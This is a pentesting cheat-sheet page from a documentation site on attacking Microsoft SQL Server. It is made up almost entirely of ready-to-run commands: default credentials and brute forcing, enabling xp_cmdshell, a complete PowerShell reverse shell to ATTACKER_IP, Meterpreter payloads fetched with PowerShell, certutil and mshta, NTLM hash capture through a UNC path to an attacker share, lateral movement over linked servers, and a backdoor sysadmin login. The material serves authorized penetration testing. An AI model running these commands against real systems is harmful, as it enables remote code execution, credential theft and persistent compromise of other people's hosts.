> ## Documentation Index
> Fetch the complete documentation index at: https://0-x.dev/llms.txt
> Use this file to discover all available pages before exploring further.

# 1433 - MSSQL (Microsoft SQL Server)

`Default Port: 1433/TCP`

MSSQL is Microsoft's own database engine and shows up constantly in Windows-heavy environments, often running as a service account with far more privilege than the database itself needs. That combination, a database reachable over the network plus a privileged service account behind it, is what makes MSSQL one of the more reliable paths from "database access" to full domain compromise.

> **SQL Authentication**
>
> Username and password managed inside SQL Server itself, independent of Windows. The `sa` account is the built-in sysadmin here, and the one worth testing default and weak credentials against first.

> **Windows Authentication**
>
> Authenticates using the current domain session instead of a separate SQL login. Relevant once you've got a foothold on the domain rather than testing the service blind.

> [!TIP]
>
> `xp_cmdshell` is the single most important feature on this page. If it's enabled, or you have the privilege to enable it, you have OS-level command execution as the SQL Server service account, not just database access.

***

## Connecting

**mssqlclient.py (Impacket)**

The most common tool for interactive access, supports both authentication types and pass-the-hash.

```bash theme={null}
mssqlclient.py sa@TARGET                            # SQL authentication, blank/prompted password
mssqlclient.py DOMAIN/USER:PASSWORD@TARGET -windows-auth
mssqlclient.py USER@TARGET -hashes :NTHASH             # pass-the-hash
```

**sqlcmd (Windows)**

```cmd theme={null}
sqlcmd -S TARGET -U sa -P PASSWORD
sqlcmd -S TARGET -E                                    # Windows authentication
sqlcmd -S TARGET -U sa -P PASSWORD -Q "SELECT @@version"   # run one query and exit
```

> [!TIP]
>
> In an interactive `sqlcmd` session, every command needs `GO` on its own line afterward to actually execute, it's easy to forget and assume the session has hung.

**sqsh (Linux)**

```bash theme={null}
sqsh -S TARGET -U sa -P 'PASSWORD' -h
```

> [!NOTE]
>
> Common default credentials worth trying before anything else: `sa:` (blank), `sa:sa`, `sa:password`, `sa:Password123`, `sa:P@ssw0rd`.

***

## Recon and Instance Discovery

Before touching port 1433 directly, the SQL Server Browser service on UDP 1434 can reveal multiple named instances running on a single host, instances that might not be obvious from a TCP scan alone.

```bash theme={null}
nmap -sU -p1434 --script ms-sql-discover TARGET
```

```bash theme={null}
use auxiliary/scanner/mssql/mssql_ping
set RHOSTS TARGET
run
```

A single nmap command covering most of the initial enumeration in one pass, worth running early on any confirmed MSSQL target:

```bash theme={null}
sudo nmap --script ms-sql-info,ms-sql-empty-password,ms-sql-xp-cmdshell,ms-sql-config,ms-sql-ntlm-info,ms-sql-tables,ms-sql-hasdbaccess,ms-sql-dac,ms-sql-dump-hashes --script-args mssql.instance-port=1433,mssql.username=sa,mssql.password=,mssql.instance-name=MSSQLSERVER -sV -p1433 TARGET
```

***

## Manual Enumeration

```sql theme={null}
SELECT @@version;                                            -- SQL Server version
SELECT name FROM sys.databases;                                -- list databases
USE DATABASE_NAME;                                               -- switch database
SELECT table_name FROM information_schema.tables;                 -- list tables
SELECT * FROM TABLE_NAME;                                           -- dump a table
```

```sql theme={null}
SELECT SYSTEM_USER;                                            -- current login
SELECT IS_SRVROLEMEMBER('sysadmin');                              -- 1 if the current user is sysadmin
SELECT loginname FROM syslogins WHERE sysadmin = 1;                 -- every sysadmin account on the server
```

> **More enumeration: permissions, table search, linked servers**
>
> ```sql theme={null}
> SELECT * FROM fn_my_permissions(NULL, 'SERVER');          -- full permission set for the current login
> EXEC sp_helpuser;                                           -- list database users
> SELECT name, password_hash FROM sys.sql_logins;                -- password hashes (needs sysadmin)
> ```
>
> ```sql theme={null}
> SELECT table_name, column_name FROM information_schema.columns
> WHERE column_name LIKE '%password%';                        -- hunt for sensitive-looking columns
> ```
>
> ```sql theme={null}
> SELECT srvname, isremote FROM sysservers;                   -- list linked servers
> EXEC sp_linkedservers;
> ```

***

## Brute Forcing

```bash theme={null}
hydra -l sa -P /usr/share/wordlists/rockyou.txt TARGET mssql
```

```bash theme={null}
nmap -p1433 --script ms-sql-brute --script-args userdb=users.txt,passdb=passwords.txt TARGET
```

***

## Command Execution via xp\_cmdshell

> [!WARNING]
>
> Enabling `xp_cmdshell` requires sysadmin privileges and is a loud, easily logged change. If it's already enabled, skip straight to execution; only enable it yourself once you're confident doing so is in scope.

```sql theme={null}
EXECUTE sp_configure 'show advanced options', 1;
RECONFIGURE;
EXECUTE sp_configure 'xp_cmdshell', 1;
RECONFIGURE;
```

```sql theme={null}
EXEC xp_cmdshell 'whoami';
EXEC xp_cmdshell 'net user';
```

> [!TIP]
>
> Turn it back off once you're done if stealth matters: `EXEC sp_configure 'xp_cmdshell', 0; RECONFIGURE;`

### Getting a Shell

A PowerShell reverse shell runs directly through `xp_cmdshell` without needing to drop a file to disk first:

```sql theme={null}
EXEC xp_cmdshell 'powershell -c "$client = New-Object System.Net.Sockets.TCPClient(''ATTACKER_IP'',4444);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + ''PS '' + (pwd).Path + ''> '';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"';
```

For a full Meterpreter session instead, generate a payload and pull it down through `xp_cmdshell`:

```bash theme={null}
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=ATTACKER_IP LPORT=4444 -f exe > shell.exe
```

```sql theme={null}
EXEC xp_cmdshell 'powershell -c "Invoke-WebRequest -Uri http://ATTACKER_IP/shell.exe -OutFile C:\Temp\shell.exe"';
EXEC xp_cmdshell 'C:\Temp\shell.exe';
```

> **Alternate download methods and the HTA delivery route**
>
> ```sql theme={null}
> EXEC xp_cmdshell 'certutil -urlcache -split -f http://ATTACKER_IP/shell.exe C:\Temp\shell.exe';
> EXEC xp_cmdshell 'C:\Temp\shell.exe';
> ```
>
> Using Metasploit's HTA server as the delivery mechanism instead of a raw executable:
>
> ```bash theme={null}
> use exploit/windows/misc/hta_server
> ```
>
> ```sql theme={null}
> EXEC xp_cmdshell 'mshta.exe http://ATTACKER_IP:8080/payload.hta';
> ```

***

## Reading and Writing Files

```sql theme={null}
SELECT * FROM OPENROWSET(BULK N'C:\Windows\System32\drivers\etc\hosts', SINGLE_CLOB) AS Contents;
```

With `xp_cmdshell` already enabled, reading and listing files is just as easy through native commands:

```sql theme={null}
EXEC xp_cmdshell 'type C:\Windows\win.ini';
EXEC master..xp_dirtree 'C:\', 1, 1;
EXEC master..xp_fileexist 'C:\Windows\win.ini';
```

***

## Capturing the Service Account's NTLM Hash

> [!WARNING]
>
> This is an active technique that intercepts authentication traffic. Confirm scope before running it, and remember that it captures the SQL Server *service account's* hash, not a user's.

`xp_dirtree` and related procedures will happily follow a UNC path, which forces the SQL Server service account to authenticate to whatever SMB server you point it at. Pointed at a listener you control, that's a captured NetNTLMv2 hash.

```bash theme={null}
sudo responder -I INTERFACE
```

```sql theme={null}
EXEC master..xp_dirtree '\\ATTACKER_IP\share';
EXEC master..xp_subdirs '\\ATTACKER_IP\share';
```

Crack whatever Responder captures:

```bash theme={null}
hashcat -m 5600 hash.txt rockyou.txt
```

***

## Impersonation

Impersonation lets a lower-privileged login temporarily act as a higher-privileged one, frequently `sa`, without ever needing that account's password.

```sql theme={null}
SELECT DISTINCT b.name
FROM sys.server_permissions a
INNER JOIN sys.server_principals b ON a.grantee_principal_id = b.principal_id
WHERE a.permission_name = 'IMPERSONATE';
```

```sql theme={null}
EXECUTE AS LOGIN = 'sa';
SELECT SYSTEM_USER;
SELECT IS_SRVROLEMEMBER('sysadmin');
REVERT;     -- return to the original login when finished
```

***

## Linked Servers

> [!NOTE]
>
> A linked server is one MSSQL instance configured to query another. If the credentials stored for that link have higher privileges than your own, this is a direct privilege escalation path, and if the chain goes several servers deep, a lateral movement one too.

```sql theme={null}
SELECT srvname, isremote FROM sysservers;
EXECUTE('select @@servername, @@version, system_user, is_srvrolemember(''sysadmin'')') AT [LINKED_SERVER];
```

Command execution chains through linked servers the same way `xp_cmdshell` does locally, just wrapped in `EXEC (...) AT`:

```sql theme={null}
EXEC ('EXEC xp_cmdshell ''whoami''') AT [LINKED_SERVER];
```

> **Double-hop to a third server**
>
> ```sql theme={null}
> EXEC ('EXEC (''EXEC xp_cmdshell ''''whoami'''''') AT [SERVER3]') AT [SERVER2];
> ```

***

## Persistence

> [!WARNING]
>
> Creating logins or scheduled jobs are high-impact, easily detected changes to the target. Confirm scope explicitly covers this before going beyond enumeration and impersonation.

```sql theme={null}
CREATE LOGIN backdoor WITH PASSWORD = 'PASSWORD';
EXEC sp_addsrvrolemember 'backdoor', 'sysadmin';
```

***

## Metasploit Modules

```bash theme={null}
search name:mssql                                     # list every MSSQL-related module
use auxiliary/scanner/mssql/mssql_login                  # brute-force credentials
use auxiliary/admin/mssql/mssql_enum                        # enumerate users and config with valid creds
use auxiliary/scanner/mssql/mssql_hashdump                    # dump password hashes
use exploit/windows/mssql/mssql_payload                         # get Meterpreter directly when xp_cmdshell is enabled
use exploit/windows/mssql/mssql_clr_payload                       # alternate execution path via CLR assemblies
```

***

## Quick Reference Tools

> **[Hackviser: MSSQL](https://hackviser.com/tactics/pentesting/services/mssql)**
>
> Quick-reference pentesting guide for the MSSQL service.

> **[HackTricks: MSSQL](https://hacktricks.wiki/en/network-services-pentesting/pentesting-mssql-microsoft-sql-server/index.html)**
>
> Deeper breakdown of MSSQL enumeration and exploitation techniques.

> [!WARNING]
>
> `xp_cmdshell`, hash capture, and persistence are all high-impact actions capable of fully compromising the host. Confirm scope before going past read-only enumeration.


This documentation is built and hosted on [Mintlify](https://mintlify.com), a developer documentation platform.